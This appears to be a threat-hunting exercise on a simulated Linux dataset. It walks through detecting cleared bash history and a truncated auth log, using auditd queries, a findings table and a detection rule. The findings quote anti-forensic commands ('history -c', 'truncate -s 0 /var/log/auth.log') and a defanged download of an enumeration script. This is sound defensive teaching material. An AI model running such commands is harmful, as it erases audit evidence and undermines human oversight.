Threat Hunting Exercise: Analyzing Linux Bash History Clearing & Auth Log Tampering Dataset
This hunt uses a simulated Linux auditd/syslog dataset (linux_history_clear_2022-08-17T031500.json) capturing T1070.003: Indicator Removal (Clear Command History) and T1070.002: Clear Linux or Mac System Logs, where an attacker with root access clears bash history and truncates/deletes authentication logs to obscure the commands and login events associated with an intrusion.
Step 1: Hypothesis Formation
Hypothesis: A root or sudo-elevated session executes commands to clear or disable shell history (history -c, unset HISTFILE, rm ~/.bash_history) and separately truncates or deletes /var/log/auth.log or /var/log/secure, within the same session as suspicious prior activity. Indicators:
history -corexport HISTFILE=/dev/nullexecuted via auditd EXECVE records./var/log/auth.log,/var/log/wtmp, or/var/log/securetruncated to 0 bytes or deleted, evidenced by file-size/inode-change monitoring rather than log-forwarding gaps alone.- The clearing commands occur immediately after other sensitive commands (privilege escalation, tool download) in the same session, rather than as part of a documented log-rotation job.
- Log-forwarding (e.g., rsyslog to a central SIEM) shows a gap in received events for the host during the exact window the local log was tampered with - the SIEM copy still exists even though the local file was cleared.
Null Hypothesis: A legitimate logrotate cron job or an administrator's routine log-cleanup script ran on schedule. Invalidate by checking /etc/logrotate.d/ configuration and cron schedule against the observed timestamp, and confirming logrotate's expected renaming (not deletion/truncation) behavior.
Rationale: Anti-forensic log and history clearing is a near-universal step in hands-on-keyboard Linux intrusions; because centralized log forwarding often captures events before local deletion, correlating a local-log gap against the still-intact SIEM copy is one of the highest-confidence ways to both detect the tampering and recover the "erased" evidence.
Step 2: Data Sources and Scope
- Sources: auditd EXECVE and PATH records; centralized syslog/rsyslog-forwarded copies of
/var/log/auth.log; file-integrity monitoring (AIDE/Tripwire) on log directories. - Scope: ~2022-08-17T03:15:00-03:19:00 UTC; Host: lnx-db-node07 (10.220.3.14); Session: root via sudo from user
svc-monitor. - SIEM Queries (Splunk/ELK):
index=auditd type=EXECVE exe="bash" a0="history" a1="-c"index=auditd type=EXECVE (a0="truncate" OR a0="rm" OR a0="shred") path="/var/log/auth.log"- Forwarding-gap detection:
index=syslog host="lnx-db-node07" sourcetype="auth" | stats count by bucket(_time,5m) | where count=0(compared against baseline hourly volume).
Step 3: Key Findings
Parsed events (5 shown) confirm a sudo session cleared bash history and truncated the local auth log immediately after privilege escalation, while the centrally-forwarded log copy preserved the erased events.
| Timestamp (UTC) | Host | Event | Detail | IOC/Why Suspicious? |
|---|---|---|---|---|
| 2022-08-17 03:15:20 | lnx-db-node07 | auditd EXECVE | sudo su - by svc-monitor, followed by wget hxxp://185.220.101.33/lin_enum.sh | Precursor IOC: privilege escalation and tool download immediately preceding the anti-forensic actions - establishes motive for the subsequent cleanup. |
| 2022-08-17 03:18:40 | lnx-db-node07 | auditd EXECVE | history -c && export HISTFILE=/dev/null | History-Clearing IOC: explicit, deliberate disabling of shell history logging mid-session - not a startup-profile default. |
| 2022-08-17 03:18:55 | lnx-db-node07 | auditd EXECVE | truncate -s 0 /var/log/auth.log | Log-Tampering IOC: direct truncation of the authentication log, distinct from logrotate's rename-and-recreate behavior. |
| 2022-08-17 03:19:00 | lnx-db-node07 | (FIM alert) | AIDE reports inode change and 0-byte size for /var/log/auth.log outside the scheduled logrotate window (02:00 daily) | Confirms the truncation was manual, not the routine rotation job. |
| 2022-08-17 03:15:00 - 03:19:00 | lnx-db-node07 (forwarded copy) | Central SIEM auth index | Full session preserved: sudo escalation, wget download, and the clearing commands themselves, all timestamped and intact | Recovery IOC: because rsyslog forwards events in near-real-time, the "erased" local evidence survives centrally - confirming both the tampering and reconstructing the full attacker session. |
Validation:
- Timeline: privilege escalation and tool download, followed within 4 minutes by explicit history-clearing and log-truncation commands - motive and anti-forensic action are directly linked in the same session.
- False Positives: the truncation occurred well outside the documented logrotate schedule (02:00 daily) and used
truncate, not logrotate's expected rename/recreate pattern. - Correlation: local log gap precisely matches a still-intact centrally-forwarded copy of the same session - this is conclusive evidence of intentional local tampering, not routine maintenance.
Step 4: Recommendations & Next Steps
- Immediate Response: Isolate lnx-db-node07; use the centrally-forwarded log copy to fully reconstruct the attacker's session; rotate credentials for svc-monitor and any account it could reach; retrieve and analyze
lin_enum.shfrom network capture since the local copy may also be deleted. - Detection: Sigma-style rule:
title: Linux Auth Log Truncated Outside Scheduled Logrotate Window→selection: (exe="truncate" OR exe="shred") AND path="/var/log/auth.log" AND NOT time_matches(logrotate_schedule). - Pro Tip: Forward logs to a centralized, write-once destination in near-real-time and treat any local-log gap against an intact central copy as a high-priority tampering alert - this turns an attacker's anti-forensic step into a free, high-fidelity detection trigger rather than a successful evasion.
Hypothesis confirmed - a compromised sudo session cleared bash history and truncated the local authentication log immediately after downloading enumeration tooling, but the centrally-forwarded log copy preserved the full attacker session!